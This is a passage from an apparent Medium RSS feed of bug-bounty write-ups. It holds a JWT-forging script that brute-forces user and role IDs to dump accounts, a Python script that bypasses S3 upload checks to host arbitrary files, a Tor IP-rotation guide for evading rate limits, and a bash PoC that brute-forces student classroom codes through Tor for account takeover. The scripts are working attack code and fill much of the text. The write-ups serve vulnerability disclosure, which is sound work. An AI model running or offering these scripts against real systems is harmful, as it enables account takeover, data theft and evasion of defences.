user_id)</li><li>Try common role_id values like 0 to 5</li><li>Send a request to /api/users/me with:</li><li>Forge the JWT tokens and send them through Authorization header Authorization: Bearer &lt;forged_jwt_token&gt;</li></ul><p><strong>Python POC script:</strong></p><pre>import jwt<br>import requests<br>import time<br>import random<br>import json<br><br>SECRET = &#39;CHANGE_ME&#39;<br>ALG = &#39;HS256&#39;<br>TARGET_URL = &#39;https://www.target.com/api/users/me&#39;<br>EXP = 9999999999  # expiration time<br><br><br>sub_range = range(1, 100) # user IDs from 1 to 100, sub = user_id<br>role_ids = [0,1,2,3,4,5]  # possible admin role_ids<br><br>for sub in sub_range:<br>    for role_id in role_ids:<br>        access_payload = {<br>            &quot;sub&quot;: str(sub),<br>            &quot;role&quot;: &quot;user&quot;,<br>            &quot;role_id&quot;: role_id,<br>            &quot;exp&quot;: EXP<br>        }<br>        access_token = jwt.encode(access_payload, SECRET, algorithm=ALG)<br>        print(&quot;\nTrying Token: &quot;, access_token)<br>        <br>        headers = {<br>            &quot;Authorization&quot;: f&quot;Bearer {access_token}&quot;,<br>            &quot;User-Agent&quot;: &quot;Mozilla/5.0&quot;<br>        }<br><br>        print(f&quot;[*] Trying sub={sub}, role_id={role_id}...&quot;)<br><br>        try:<br>            response = requests.get(TARGET_URL, headers=headers, timeout=10)<br>            status = response.status_code<br><br>            if status == 200:<br>                print(&quot;Status Code:&quot;,response.status_code)<br>                print(f&quot;→ sub: {sub}, role_id: {role_id}&quot;)<br>                print(&quot;User Details :&quot;,response.text)<br><br>            else:<br>                print(f&quot;[-] Status: {status} | sub={sub}, role_id={role_id}&quot;)<br><br>        except Exception as e:<br>            print(f&quot;[!] Request failed: {e}&quot;)<br><br>        time.sleep(0.5)  # to avoid hammering the server<br><br>print(&quot;\nNo admin access detected in the tested range.&quot;)<br></pre><p>If the user exists, we’ll get 200 OK status code and if the user does not exist it’ll return 401 Unauthorized status code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HBM9m5b-B9wkT2h-nO2zhg.png" /><figcaption>Running the script</figcaption></figure><p>Using this script, I was able to dump all the users from the database. And among those users I got the IDs of the admin users as well.</p><p>Here is the updated version of the script to dump all users and store them in a Json file.</p><pre>import jwt<br>import requests<br>import time<br>import json<br><br>SECRET = &#39;CHANGE_ME&#39;<br>ALG = &#39;HS256&#39;<br>TARGET_URL = &#39;https://www.target.com/api/users/me&#39;<br>EXP = 9999999999 <br><br>sub_range = range(1, 100) # set the range for the number of users you want to dump<br>role_ids = [0,1,2,3,4,5]<br><br>for sub in sub_range:<br>    for role_id in role_ids:<br>        access_payload = {<br>            &quot;sub&quot;: str(sub),<br>            &quot;role&quot;: &quot;user&quot;,<br>            &quot;role_id&quot;: role_id,<br>            &quot;exp&quot;: EXP<br>        }<br>        access_token = jwt.encode(access_payload, SECRET, algorithm=ALG)<br>        print(&quot;\nTrying Token: &quot;, access_token)<br>        <br>        headers = {<br>            &quot;Authorization&quot;: f&quot;Bearer {access_token}&quot;,<br>            &quot;User-Agent&quot;: &quot;Mozilla/5.0&quot;<br>        }<br><br>        print(f&quot;[*] Trying sub={sub}, role_id={role_id}...&quot;)<br><br>        try:<br>            response = requests.get(TARGET_URL, headers=headers, timeout=10)<br>            status = response.status_code<br><br>            if status == 200:<br>                print(&quot;Status Code:&quot;,response.status_code)<br>                print(f&quot;→ sub: {sub}, role_id: {role_id}&quot;)<br>                print(&quot;User Details :&quot;,response.text)<br><br>                try:<br>                    user_data = json.loads(response.text)<br>                    user_data[&quot;sub&quot;] = sub<br>                    user_data[&quot;role_id&quot;] = role_id<br><br>                    with open(&quot;users.json&quot;, &quot;a&quot;) as f:<br>                        f.write(json.dumps(user_data, indent=2))<br>                        f.write(&quot;,\n&quot;)<br>                except json.JSONDecodeError:<br>                    print(&quot;[!] Response is not valid JSON&quot;)<br><br><br>            else:<br>                print(f&quot;[-] Status: {status} | sub={sub}, role_id={role_id}&quot;)<br><br>        except Exception as e:<br>            print(f&quot;[!] Request failed: {e}&quot;)<br><br>        time.sleep(0.5)  # to avoid hammering the server<br><br>print(&quot;\nNo admin access detected in the tested range.&quot;)</pre><h3>Impact</h3><ul><li>Complete user impersonation</li><li>Privilege escalation to admin</li><li>Full user data exfiltration</li></ul><h3>Final Thoughts</h3><p>I genuinely believe this vulnerability was introduced by AI-generated code. While AI can accelerate development, it’s still your responsibility to understand what the code is doing. Tools like Copilot or ChatGPT can unintentionally introduce serious security flaws — like hardcoded secrets (&quot;CHANGE_ME&quot; in this case) — if you&#39;re not vigilant. Always audit, customize, and secure your code before pushing it to production, because attackers <em>will</em> catch what you overlooked.</p><p>Thank you for reading! Feel free to share your thoughts or questions in the comments.</p><h3>Reach me on 📡</h3><ul><li><strong>Linkedin :</strong> <a href="https://www.linkedin.com/in/saeeed/">https://www.linkedin.com/in/saeed0x1/</a></li><li><strong>X (Twitter):</strong> <a href="https://twitter.com/saeed0x1">https://x.com/saeed0x1</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a6db38b14ad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[File Upload Restrictions Bypass in S3 Bucket]]></title>
            <link>https://saeed0x1.medium.com/file-upload-restrictions-bypass-in-s3-bucket-87c2717664a3?source=rss-79ba1db914b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/87c2717664a3</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[SAEED]]></dc:creator>
            <pubDate>Wed, 19 Feb 2025 09:29:02 GMT</pubDate>
            <atom:updated>2025-08-28T10:39:56.552Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CmC7C39Kcdw2QZPJI0U5mw.png" /></figure><p>The target is like a multi-vendor e-commerce website where, there are 2 types of users. Buyers and Sellers. Sellers can setup their profile/shop and add different products and when they add products they have to add product name, description, location, pictures etc. etc.</p><p>I have found this bug in the product picture upload section.</p><p>Since the bug has not been fixed yet. I’ll call the Bug Bounty Program target.com.</p><h3>Recon</h3><p>Like a normal user I signed up in that platform and started poking around all functionalities alongside capturing all the requests in BurpSuite.</p><p>When I came across the file upload functionality, I noticed the application allows only jpg and png files to be uploaded. Whenever I come across restrictions like these. I instantly mark them down as my testing ground. And now I have found my first testing ground. Since I believe, if there is a restriction, there should be a bypass too.</p><p>So, I uploaded a few more pictures and started going through the Burp history and I saw this request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L7Kqw5VKGlKY4FqYPclnuw.png" /><figcaption>Image is being uploaded in the S3 bucket</figcaption></figure><p>As you can see the file is being uploaded in the s3 bucket, target-media.s3.amazonaws.com.</p><p>Then I sent the request to Repeater.</p><h3>Exploitation</h3><p>On closer look in the request body, I noticed there are two Content-Type s.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6P97pFtxG38xbKRnZyctXg.png" /><figcaption>Two Content-Types</figcaption></figure><p>I decided to check if the file type is being properly validated or not. And I removed the image body and changed both the content types to text/plain.</p><p>Basically, I was trying to check how the files are being validated, based on file extensions or based on Content-Types or any other method.</p><p>In the request below you can see I have only changed the content types not the file extension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VDJGJoLkwBx13XhlmsDubQ.png" /><figcaption>Image Upload Rule</figcaption></figure><p>After sending the request, we got the 403 Forbidden status code. with a message Invalid according to Policy: Policy Condition failed: [&quot;starts-with&quot;,&quot;$Content-Type&quot;,&quot;image/&quot;].</p><p>So, the content type should start with image/. But which one?</p><p>I poked around a little and and realized, The first Content-Type is the rule set in the S3 bucket which says content type should start with image/, and the 2nd Content-Type is the actual content type of the file that we are trying to upload.</p><p>Then I added the image/ in the first content type and I got this response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JrHjn_yh6TRBZ4IPUm8myg.png" /><figcaption>File Uploaded Successfully</figcaption></figure><p>The file got uploaded!!</p><p>And when I accessed the given link inside the &lt;Location&gt; tag in my browser, the text file got downloaded.</p><p><strong>Key findings:</strong></p><ol><li>The file extension doesn’t really matter, the file extension is only being checked in the client side when we are adding the image.</li><li>The validation is being done based on the rule, if the content type starts with image/ or not.</li></ol><p>Now it’s confirmed that we can upload text files, But I wasn’t done. I wanted to make sure I can upload any type of file I want.</p><h3>Proof of Concept</h3><blockquote>writing a script to upload any type of file we want.</blockquote><p>So, The Request body looks like this:</p><pre>POST / HTTP/1.1<br>Host: target-media.s3.amazonaws.com<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0<br>Accept: */*<br>Content-Type: multipart/form-data; boundary=---------------------------26762892231597285403112451395<br>Connection: keep-alive<br><br><br>-----------------------------26762892231597285403112451395<br>Content-Disposition: form-data; name=&quot;key&quot;<br>prd/listing/temp/3b5a8800cab74a8cb7d79e84bbac2c9b<br>-----------------------------26762892231597285403112451395<br>Content-Disposition: form-data; name=&quot;success_action_status&quot;<br>201<br>-----------------------------26762892231597285403112451395<br>Content-Disposition: form-data; name=&quot;acl&quot;<br>public-read<br>-----------------------------26762892231597285403112451395<br>Content-Disposition: form-data; name=&quot;x-amz-meta-original-filename&quot;<br>${filename}<br>-----------------------------26762892231597285403112451395<br>Content-Disposition: form-data; name=&quot;x-amz-meta-user&quot;<br>15917208<br>-----------------------------26762892231597285403112451395<br>Content-Disposition: form-data; name=&quot;policy&quot;<br>REDACTED<br>-----------------------------26762892231597285403112451395<br>Content-Disposition: form-data; name=&quot;x-amz-credential&quot;<br>REDACTED<br>-----------------------------26762892231597285403112451395<br>Content-Disposition: form-data; name=&quot;x-amz-algorithm&quot;<br>AWS4-HMAC-SHA256<br>-----------------------------26762892231597285403112451395<br>Content-Disposition: form-data; name=&quot;x-amz-date&quot;<br>20250116T143817Z<br>-----------------------------26762892231597285403112451395<br>Content-Disposition: form-data; name=&quot;x-amz-signature&quot;<br>REDACTED<br>-----------------------------26762892231597285403112451395<br>Content-Disposition: form-data; name=&quot;Content-Type&quot;<br>image/jpeg<br>-----------------------------26762892231597285403112451395<br>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;TEST.jpg&quot;<br>Content-Type: image/jpeg<br><br>IMAGE CONTENT<br>-----------------------------26762892231597285403112451395--</pre><p>The files are being uploaded using a form. The important Key-Value pairs in this form are:</p><pre>key  <br>success_action_status  <br>acl  <br>x-amz-meta-original-filename  <br>x-amz-meta-user  <br>policy  <br>x-amz-credential  <br>x-amz-algorithm  <br>x-amz-date  <br>x-amz-signature</pre><p>These credentials are being generated dynamically and are valid for a specific timeframe. These values are important and will be required in the POC script.</p><p>Then I wrote this python script:</p><pre>import argparse<br>import requests<br>import mimetypes<br>import os<br>import sys<br>import json<br><br>def parse_form_data(file_path):<br>    if not os.path.exists(file_path):<br>        print(f&quot;Error: Form data file &#39;{file_path}&#39; does not exist.&quot;)<br>        sys.exit(1)<br><br>    with open(file_path, &quot;r&quot;) as f:<br>        form_data = f.read()<br><br>    form_data = &quot;\n&quot;.join([line for line in form_data.splitlines() if line.strip()])<br><br>    if not form_data:<br>        print(f&quot;Error: Form data file &#39;{file_path}&#39; contains no valid data.&quot;)<br>        sys.exit(1)<br><br>    metadata = {}<br>    boundary = form_data.splitlines()[0]<br><br>    if not boundary:<br>        print(f&quot;Error: Boundary in form data is empty.&quot;)<br>        sys.exit(1)<br><br>    for line in form_data.split(boundary):<br>        if &quot;Content-Disposition&quot; in line:<br>            key_line = [l for l in line.splitlines() if l.startswith(&quot;Content-Disposition&quot;)][0]<br>            key = key_line.split(&#39;name=&quot;&#39;)[1].split(&#39;&quot;&#39;)[0]<br>            value = line.splitlines()[-1].strip()<br>            metadata[key] = value<br>    return metadata<br><br>def upload_file(file_path, metadata):<br>    url = &quot;https://target-media.s3.amazonaws.com/&quot;<br><br>    if not os.path.exists(file_path):<br>        print(f&quot;Error: File &#39;{file_path}&#39; does not exist.&quot;)<br>        sys.exit(1)<br><br>    guessed_content_type = mimetypes.guess_type(file_path)[0] or &quot;application/octet-stream&quot;<br><br>    content_type = metadata.get(&quot;Content-Type&quot;, &quot;&quot;)<br><br>    if content_type.startswith(&quot;image/&quot;):<br>        if guessed_content_type.startswith(&quot;image/&quot;):<br>            metadata[&quot;Content-Type&quot;] = guessed_content_type  # Update with the actual image type<br>        else:<br>            metadata[&quot;Content-Type&quot;] = &quot;image/&quot; + guessed_content_type.split(&quot;/&quot;)[1]<br>    elif content_type == &quot;&quot;:<br>        if guessed_content_type.startswith(&quot;image/&quot;):<br>            metadata[&quot;Content-Type&quot;] = guessed_content_type<br>        else:<br>            metadata[&quot;Content-Type&quot;] = &quot;image/&quot; + guessed_content_type.split(&quot;/&quot;)[1]<br><br>    with open(file_path, &quot;rb&quot;) as f:<br>        files = {<br>            &quot;file&quot;: (os.path.basename(file_path), f, guessed_content_type),<br>        }<br>        response = requests.post(url, data=metadata, files=files)<br><br>    # response<br>    if response.status_code == 201:<br>        print(&quot;File uploaded successfully.&quot;)<br>        # print the location after uploading<br>        location = response.text.split(&quot;&lt;Location&gt;&quot;)[1].split(&quot;&lt;/Location&gt;&quot;)[0]<br>        print(f&quot;File Location: {location}&quot;)<br>    else:<br>        print(f&quot;Error uploading file: {response.status_code}\n{response.text}&quot;)<br><br>def main():<br>    parser = argparse.ArgumentParser(description=&quot;Extract form data and upload a file.&quot;)<br>    parser.add_argument(&quot;-form-data&quot;, required=True, help=&quot;Path to important key-value pair file.&quot;)<br>    parser.add_argument(&quot;-file&quot;, required=True, help=&quot;Path to the file to upload.&quot;)<br>    args = parser.parse_args()<br><br>    metadata = parse_form_data(args.form_data)<br>    #print(&quot;Metadata in JSON format:&quot;)<br>    #print(json.dumps(metadata, indent=4))<br><br>    # Upload file<br>    upload_file(args.file, metadata)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>Simply put, it has two flags -form-data and -file .</p><p>-form-data: Takes a file which contains the important key-value pairs.</p><blockquote>We can just copy the form data (key-value pairs) from burpsuite and save in a text file.</blockquote><p>-file: Takes the file we are trying to upload.</p><p>The script parses the form data and extracts the important key-value pairs and also makes sure the first Content-Type starts with image/and append it with the actual content type of the file we are trying to upload.</p><p><strong>For example:</strong></p><p>If we want to upload an .exe file, the first content type will be image/application/octet-stream and the second content type will be application/octet-stream.</p><p>And after the file is uploaded, it shows the URL. On accessing the URL either the file is rendered (if HTML, JS, SVG etc. files) or downloaded (mp4, exe, txt etc. files).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pg0apzwTJUj6Zc8hP5eeyg.png" /><figcaption>USAGE</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUp5LFNXn58djRyHH9nDYA.png" /><figcaption>Uploaded</figcaption></figure><h3><strong>Impact</strong></h3><blockquote>what an attacker can do if they choose to exploit it.</blockquote><ul><li>Malicious files (e.g., scripts, executables) could be hosted in the bucket.</li><li>The S3 Bucket can be used as a Personal Storage. Which can increase the cost.</li></ul><h3><strong>Mitigations</strong></h3><blockquote>How to fix the issue?</blockquote><p>Strict sever side validation must be done, so that the system rejects any file which is not an actual image file.</p><h3>References</h3><ul><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html">File Upload — OWASP Cheat Sheet Series</a></li><li><a href="https://owasp.deteact.com/cheat/cheatsheets/Protect_FileUpload_Against_Malicious_File.html">Protect FileUpload Against Malicious File · OWASP Cheat Sheet Series</a></li><li><a href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/File_Upload_Cheat_Sheet.md">CheatSheetSeries/cheatsheets/File_Upload_Cheat_Sheet.md at master · OWASP/CheatSheetSeries</a></li><li><a href="https://www.youtube.com/watch?v=FARa5NHZh90">Secure Your File Uploads Today with OWASP | Learn Web Dev with Austin Gil — YouTube</a></li></ul><h3><strong>Reporting Timeline:</strong></h3><ul><li>Detected on: 15/01/2025</li><li>Reported on: 16/01/2025</li><li>Marked as Duplicate: 18/01/2025</li></ul><blockquote><strong>Duplicate:</strong> Bug is valid, but someone has already reported it before me.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sGqOc6fOHGGok4fhnJh2UA.png" /><figcaption>response from the security team</figcaption></figure><p>Thank you for reading! Feel free to share your thoughts or questions in the comments.</p><h3>Reach me on 📡:</h3><ul><li><strong>Linkedin:</strong> <a href="https://www.linkedin.com/in/saeeed/">https://www.linkedin.com/in/saeed0x1/</a></li><li><strong>X (Twitter):</strong> <a href="https://twitter.com/saeed0x1">https://x.com/saeed0x1</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=87c2717664a3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rate Limit Bypass using Tor Network]]></title>
            <link>https://systemweakness.com/using-tor-network-to-bypass-rate-limits-9fe2b174c316?source=rss-79ba1db914b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/9fe2b174c316</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[tor]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[SAEED]]></dc:creator>
            <pubDate>Mon, 20 Jan 2025 11:40:09 GMT</pubDate>
            <atom:updated>2025-08-30T09:08:58.711Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZcCazbalx9UPupafNcYe2A.png" /></figure><p>During Bug Hunting or Penetration Testing we often come across Rate Limits. These Rate Limits are sometimes IP Based.</p><p>IP based rate limits usually aren’t full proof and can be bypassed using VPNs or IP Rotation Techniques.</p><p>To Bypass IP Based Rate Limits we can use BurpSuite’s <a href="https://portswigger.net/bappstore/2eb2b1cb1cf34cc79cda36f0f9019874">IP Rotate extension</a>.</p><blockquote>This extension allows you to easily spin up API Gateways across multiple regions. All the Burp Suite traffic for the targeted host is then routed through the API Gateway endpoints which causes the IP to be different on each request. (There is a chance for recycling of IPs but this is pretty low and the more regions you use the less of a chance).</blockquote><blockquote>This is useful to bypass different kinds of IP blocking like bruteforce protection that blocks based on IP, API rate limiting based on IP or WAF blocking based on IP etc.</blockquote><blockquote>If you want to Learn how to set it up, you can refer to this video <a href="https://youtu.be/8VNiDfkvGUY?si=ulD56iYI79iRmWMD">IP Rotate YT</a>.</blockquote><p>In this article We won’t be using IP Rotate Extension rather we’ll use Tor Network to achieve the same result.</p><p>So, Let’s get started !!!</p><p><strong>Step 1: Download Tor (In Linux):</strong></p><pre>sudo apt install tor</pre><p><strong>Step 2: Edit/Configure Tor</strong></p><pre>sudo vim /etc/tor/torrc</pre><p><strong>Step 3:</strong><br>Find these lines and uncomment them,If It doesn’t exist then just manually add them in /etc/tor/torrc .</p><pre>SocksPort 9050 <br>SocksPolicy accept *</pre><p><strong>Step 4:</strong> Open your terminal and execute the command tor, it’ll start the tor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8f_tWq070kEvmGa-y-Ks1g.png" /><figcaption>tor command</figcaption></figure><p><strong>Step 5:</strong> In another terminal, Run this command. To keep rotating the IP.</p><pre>while true; do pkill -HUP tor; sleep 5; done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eiMBEDJOo_URXPwpFv9eBA.png" /><figcaption>Infinite while loop</figcaption></figure><p>It’s an infinite while loop, this command continuously sends the hang-up signal to the Tor process with a 5-second interval and restarts the process with a new IP. You can adjust the timing according to your need.</p><p>To check If your IP is changing or not, use this command:</p><pre>curl --socks5-hostname localhost:9050 https://api.ipify.org/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bkJBmO-eqXOFrnBIt9rDXA.png" /><figcaption>check If the IP is being rotated</figcaption></figure><p>As you can see the IP is being rotated with each request.</p><p>When you run it for the first time It might take some time to show the result.</p><p>Now to create the POC for the bug bounty or Pentest reports, you can use python, bash or any other programming language and send the requests through the tor proxy.</p><p><strong>For example:</strong></p><pre>import requests<br><br>proxies = {<br>    &#39;http&#39;: &#39;socks5h://localhost:9050&#39;,<br>    &#39;https&#39;: &#39;socks5h://localhost:9050&#39;,<br>}<br><br>url = &quot;https://api.ipify.org/&quot;<br>response = requests.get(url, proxies=proxies)<br><br>if response.status_code == 200:<br>    print(response.text)<br>else:<br>    print(f&quot;Error: {response.status_code}&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZqrCaDUHzotMi6IQlbP6iQ.png" /><figcaption>sending request using python</figcaption></figure><p>Here here</p><p>That’s all. Thank you for reading! Feel free to share your thoughts or questions in the comments.</p><h3>Reach me on:</h3><p><strong>Linkedin:</strong> <a href="https://www.linkedin.com/in/saeeed/">https://www.linkedin.com/in/saeed0x1/</a></p><p><strong>X (Twitter):</strong> <a href="https://twitter.com/saeed0x1">https://x.com/saeed0x1</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9fe2b174c316" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/using-tor-network-to-bypass-rate-limits-9fe2b174c316">Rate Limit Bypass using Tor Network</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zero-Click Account Takeover in a Popular EdTech Platform’s Student Login System]]></title>
            <link>https://saeed0x1.medium.com/how-i-discovered-a-0-click-account-takeover-in-classdojos-student-login-system-49755cf459fc?source=rss-79ba1db914b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/49755cf459fc</guid>
            <category><![CDATA[bugcrowd]]></category>
            <category><![CDATA[rate-limiting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bypass]]></category>
            <dc:creator><![CDATA[SAEED]]></dc:creator>
            <pubDate>Mon, 20 Jan 2025 03:50:39 GMT</pubDate>
            <atom:updated>2025-08-28T16:46:54.665Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8qgaWYRbxpkS-RVMnSYoHQ.png" /></figure><blockquote>NOTE: INITIALLY I DISCLOSED THE NAME OF THE BUG BOUNTY PROGRAM AND I GOT A REMOVAL REQUEST FROM BUGCROWD.</blockquote><blockquote>SO I HAVE REDACTED THE NAME OF THE PROGRAM. ENJOY.</blockquote><p>I’ll call the target<strong> ClassMonkey.</strong> It is a platform in educational settings that helps teachers, students, and parents stay connected. They run their bug bounty program on BugCrowd.</p><p>On <strong>9th Jan, 2024</strong>, I identified a 0 click Account Takeover vulnerability that could enable an attacker to Take Over every single student’s account that exists in <strong>ClassMonkey</strong>.</p><p><strong>Disclaimer:</strong><br>This research is for educational purposes only. The author(s) are not responsible for misuse or resulting damages.</p><h3>Recon</h3><blockquote>poking around and figuring out, wth is happening.</blockquote><p>While I was testing student.classmonkey.com subdomain. I noticed every classroom at Classmonkey has a unique 6-character code that consists only of uppercase letters (A-Z).</p><p>When the student enters the classroom code all student names are displayed and the student can simply choose his/her name from the list and join the classroom.</p><p>The classroom code is validated through https://student.classmonkey.com/api/classStudentByToken API endpoint. However, the rate limit at /api/classStudentByToken endpoint is poorly implemented. In fact, it’s one of the weirdest rate limit implementations I’ve ever seen.</p><p>The request body of the classroom code verification looks like this:</p><pre>GET /api/classStudentByToken HTTP/2<br>Host: student.classmonkey.com<br>Cookie: cookie<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0<br>Accept: */*<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Authorization: Basic WUZQQ1ZUOllGUENWVA==<br>X-Client-Identifier: Mobile<br>X-Client-Version: 202401052343.3245.0-student<br>X-Sign-Attachment-Urls: true<br>Dnt: 1<br>Referer: https://student.classmonkey.com/<br>Sec-Fetch-Dest: empty<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Site: same-origin<br>X-Pwnfox-Color: yellow<br>Te: trailers</pre><p>If the classroom exists It gives 200 OK response. If it doesn’t exist, then 401 Unauthorized response.</p><p>The classroom code is sent through the Authorization header in Base64 format. Decoding the header reveals the string &lt;classroom-code&gt;:&lt;classroom-code&gt;.</p><p>For Example, If the classroom code is ABCDEF, Then the header would be the base64 format of ABCDEF:ABCDEF which is QUJDREVGOkFCQ0RFRgo=</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x5kLQYwPuYsCO7hy8gVQRA.png" /><figcaption>Decoding the Base64 encoded Code</figcaption></figure><p>Normally the /api/classStudentByToken endpoint allows only 15 requests and after that It gives you 429 Too many requests response.</p><p>It looks pretty straight forward at first glance but It’s not.</p><p>Then I started trying different rate limit bypass techniques. such as, I added these request headers in the request body.</p><pre>X-Originating-IP: 127.0.0.1<br>X-Forwarded-For: 127.0.0.1<br>X-Remote-IP: 127.0.0.1<br>X-Remote-Addr: 127.0.0.1<br>X-Client-IP: 127.0.0.1<br>X-Host: 127.0.0.1<br>X-Forwared-Host: 127.0.0.1</pre><p>And it worked!</p><p>But The story doesn’t end here. It does bypass the rate limit but again it allows only 15 requests with these headers.</p><p><strong>I’ve tried a few other methods as well. like,</strong></p><ol><li>Adding an extra / in the API endpoint. eg. /api/classStudentByToken/</li><li>Adding random extensions in the API endpoint. eg. /api/classStudentByToken/.json and all other extensions.</li><li>Adding random query parameters. eg. /api/classStudentByToken?random=xyz</li><li>Adding the Authorization header as a query parameter. eg. /api/classStudentByToken?authorization=QUJDREVGOkFCQ0RFRgo=</li><li>Using Race condition to bypass the rate limit.</li></ol><p>At this point I was trying everything which was coming to my mind. But none of them worked.</p><p>Then I removed some request headers and started noticing really weird behaviors from the server.</p><ol><li>When I removed any random header from the request body and sent the request, it allowed me to send 15 requests (again).</li><li>Changing header values also bypassed the rate limit, allowing 15 more requests.</li><li>Adding random headers had the same effect — 15 additional requests were allowed.</li></ol><p>Keeping these behaviors in mind I quicky wrote a python script that performed any 3 of these mentioned techniques every time we get 429 status code.</p><p>But the script didn’t work. I was getting 429 status code only after 15 requests. So basically, It was working when I was doing it in my BurpSuite Repeater manually but not when I was automating it.</p><p>And after running the script, these techniques stopped working manually as well. (wth 💀)</p><p>Maybe the WAF detected these weird request patterns and started blocking them all together.</p><h3><strong><em>The Exploitation</em></strong></h3><blockquote>The fun part begins here (POC Video is included at the end)</blockquote><p>So, the Rate Limit Implementation was IP Based. I knew it from the beginning Itself, but still I was trying different methods to bypass it and to some extent I’ve succeeded as well.</p><p>Now as I have mentioned earlier, the classroom code is of unique 6 characters that consists of only uppercase letters (A to Z).</p><p>Each position in the 6-character code has 26 possible choices (A–Z). Since there are 6 positions, the total number of possible combinations are:</p><p>26⁶ = 308,915,776</p><p>So, there are <strong>308,915,776 unique 6-character classroom codes</strong> possible.</p><p>I wrote a python script to generate all these possible classroom codes:</p><pre>import string<br>from itertools import product<br><br>comb = product(string.ascii_uppercase,repeat=6)<br><br>file = open(&#39;codes.txt&#39;,&#39;a&#39;)<br><br>for code in comb:<br>    file.write(&quot;&quot;.join(code))<br>    file.write(&quot;\n&quot;)</pre><p>It saves all the codes in codes.txt file.</p><p>Since the rate limit implemented in https://student.classmonkey.com/api/classStudentByToken endpoint is IP Based, It allows only 15 requests per IP and after that it rate limits the IP for 120 seconds.</p><p>If we change the IP address the rate limit can be bypassed. Since the no. of classroom code is huge and we have 15 requests per IP, we have to Keep rotating the IPs. To do that I’ve used Tor network.</p><blockquote>But we can also use Burpsuite’s <a href="https://portswigger.net/bappstore/2eb2b1cb1cf34cc79cda36f0f9019874">IP Rotate — PortSwigger</a> Extension, It utilizes amazon AWS for IP rotation.<br>You can check out this video to learn how to set it up: <a href="https://youtu.be/8VNiDfkvGUY?si=ulD56iYI79iRmWMD">IP Rotate YT</a></blockquote><blockquote>Since I don’t have an aws account, I’ll use tor network.</blockquote><p>You can read this article of mine to learn <strong>how to use TOR to bypass rate limits</strong>:</p><p><a href="https://saeed0x1.medium.com/using-tor-network-to-bypass-rate-limits-9fe2b174c316">Using Tor Network to Bypass Rate Limits</a></p><p>After setting up the tor, I wrote a simple bash POC script to demonstrate the attack.</p><p><strong>Here is the bash PoC script:</strong></p><pre>#!/bin/bash<br><br>request_number=0<br><br>while IFS= read -r code; do<br>    ((request_number++))  # to track the request number<br>    base64_code=$(echo -n &quot;$code&quot; | base64)  # encoding code as base64<br><br>    response=$(curl -s -H &quot;Authorization: basic $base64_code&quot; https://student.classmonkey.com/api/classStudentByToken --socks5-hostname localhost:9050)<br><br>    echo &quot;Request no: $request_number | Code: $code | Response : $response&quot;<br>done &lt; test_codes.txt</pre><p>The script takes test_codes.txt file as an input converts it to base64 format then sends the request to https://student.classmonkey.com/api/classStudentByToken endpoint using tor proxy.</p><p>Since tor is running in the background and<a href="https://medium.com/@saeed0x1/using-tor-network-to-bypass-rate-limits-9fe2b174c316"> IP is being changed in every 5 seconds</a> It completely bypasses the rate limit.</p><blockquote>This POC script is just to demonstrate the attack scenario.</blockquote><p><strong>Here is the POC Video:</strong></p><blockquote>will be posted once they fix the vulnerability. LOL</blockquote><h3><strong>Impact</strong></h3><blockquote>what an attacker can do if they choose to exploit 